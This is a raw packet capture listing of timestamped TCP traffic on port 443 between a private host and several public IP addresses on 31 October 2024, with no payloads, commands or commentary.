Oct 31, 2024 21:54:54.132806063 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.132810116 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.132822037 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.133286953 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.133344889 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.133348942 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.133394957 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.133469105 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.133517981 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.133709908 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.133759022 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.133889914 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.133936882 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.133939981 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.133986950 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.134320021 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.134397030 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.134501934 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.134550095 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.134557009 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.134562016 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.134603977 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.135199070 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.135261059 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.135406971 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.135488987 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.135678053 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.135750055 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.135842085 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.135904074 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.136137009 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.136182070 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.136372089 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.136428118 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.136527061 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.136579037 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.147326946 CET	443	49739	188.114.97.3	192.168.2.16
Oct 31, 2024 21:54:54.171938896 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.172019005 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.172059059 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.172137976 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.172277927 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.172337055 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.172393084 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.172456026 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.190677881 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.190960884 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.190983057 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.191265106 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.191685915 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.191747904 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.191798925 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.191800117 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.191829920 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.192353010 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.192478895 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.192544937 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.192560911 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.192651033 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.192706108 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.192711115 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.193139076 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.193187952 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.193191051 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.193969965 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.194030046 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.194035053 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.231113911 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.247091055 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.247097015 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.250679970 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.250783920 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.250844002 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.250902891 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.251528025 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.251549006 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.251589060 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.251614094 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.251635075 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.251656055 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.251692057 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.252278090 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.252321959 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.252356052 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.252367020 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.252393961 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.252418995 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.252830029 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.252871037 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.252909899 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.252921104 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.252949953 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.252969980 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.255796909 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.255839109 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.255882978 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.255893946 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.255922079 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.256582975 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.256597042 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.256712914 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.256773949 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.256798983 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.256817102 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.256839991 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.257168055 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.257221937 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.257266998 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.257283926 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.257306099 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.257921934 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.257967949 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.258004904 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.258016109 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.258042097 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.258851051 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.258889914 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.258935928 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.258948088 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.258972883 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.259042025 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.259093046 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.259124994 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.259140968 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.259176970 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.259994030 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.260035992 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.260267019 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.260279894 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.260313988 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.260664940 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.260711908 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.260741949 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.260776997 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.260799885 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.263160944 CET	49678	443	192.168.2.16	20.189.173.10
Oct 31, 2024 21:54:54.291074038 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.291112900 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.291156054 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.291171074 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.291198969 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.291920900 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.291995049 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.292013884 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.292032003 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.292078018 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.294085026 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.314225912 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.314311028 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.314333916 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.314383984 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.314390898 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.314429045 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.314791918 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.314838886 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.314892054 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.314908981 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.314914942 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.314970016 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.315473080 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.315696001 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.315745115 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.315748930 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316046953 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316076040 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316098928 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316099882 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.316107035 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316149950 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.316155910 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316200972 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.316679001 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316785097 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316808939 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316833973 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.316836119 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316844940 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.316878080 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.342133999 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.358120918 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.369376898 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.369419098 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.369496107 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.369507074 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.369554996 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.369576931 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.370007038 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.370023966 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.370115042 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.370117903 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.370162964 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.370481968 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.370498896 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.370556116 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.370559931 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.370584011 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.371020079 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.371037960 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.371114016 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.371118069 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.371721983 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.371736050 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.371787071 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.371790886 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.371825933 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.372308969 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.372325897 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.372385979 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.372390032 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.372415066 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.373063087 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.373075008 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.373147964 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.373152018 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.373913050 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.373929977 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.373986006 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.373989105 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.374032974 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.374063015 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.374078035 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.374169111 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.374172926 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.374969959 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.374986887 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.375041962 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.375046015 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.375777960 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.375790119 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.375876904 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.375880957 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.375900030 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.375915051 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.375940084 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.375942945 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.375973940 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.376926899 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.376938105 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.377007961 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.377011061 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.409730911 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.409755945 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.409811020 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.409816980 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.409899950 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.410650969 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.410662889 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.410686016 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.410737038 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.410741091 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.410772085 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.410810947 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.410837889 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.411120892 CET	49735	443	192.168.2.16	104.19.230.21
Oct 31, 2024 21:54:54.411133051 CET	443	49735	104.19.230.21	192.168.2.16
Oct 31, 2024 21:54:54.421755075 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:54.421794891 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:54.421863079 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:54.422055006 CET	49742	443	192.168.2.16	104.19.229.21
Oct 31, 2024 21:54:54.422063112 CET	443	49742	104.19.229.21	192.168.2.16
Oct 31, 2024 21:54:54.429703951 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.429826021 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.429888010 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.429907084 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.429985046 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.430059910 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.430068970 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.430098057 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.430144072 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.430200100 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.430350065 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.430397034 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.430433989 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.430531025 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.430588961 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.430598974 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.435765982 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.435827017 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.435858011 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.435879946 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.435888052 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.435899019 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.435941935 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.435954094 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.436208963 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.436253071 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.436258078 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.436292887 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.436399937 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.436455011 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.436496973 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.436501980 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.436773062 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.436824083 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.436827898 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.436871052 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.437361002 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.437412977 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.437417030 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.437459946 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.437480927 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.437516928 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.437602997 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.437652111 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.438266039 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.438335896 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.438395977 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.438452959 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.438509941 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.438577890 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.439270020 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.439342022 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.439403057 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.439431906 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.439454079 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.439459085 CET	443	49738	104.18.95.41	192.168.2.16
Oct 31, 2024 21:54:54.439467907 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.439505100 CET	49738	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:54:54.470184088 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.518158913 CET	49673	443	192.168.2.16	204.79.197.203
Oct 31, 2024 21:54:54.552104950 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.552158117 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.552186012 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.552325964 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.552350998 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.552423954 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.552623987 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.552763939 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.552793980 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.553422928 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.553452969 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.553462029 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.553494930 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.553509951 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.553563118 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.553570986 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.554233074 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.554270029 CET	443	49740	104.18.94.41	192.168.2.16
Oct 31, 2024 21:54:54.554284096 CET	49740	443	192.168.2.16	104.18.94.41
Oct 31, 2024 21:54:54.554294109 CET	443	49740	104.18.94.41	192.168.2.16
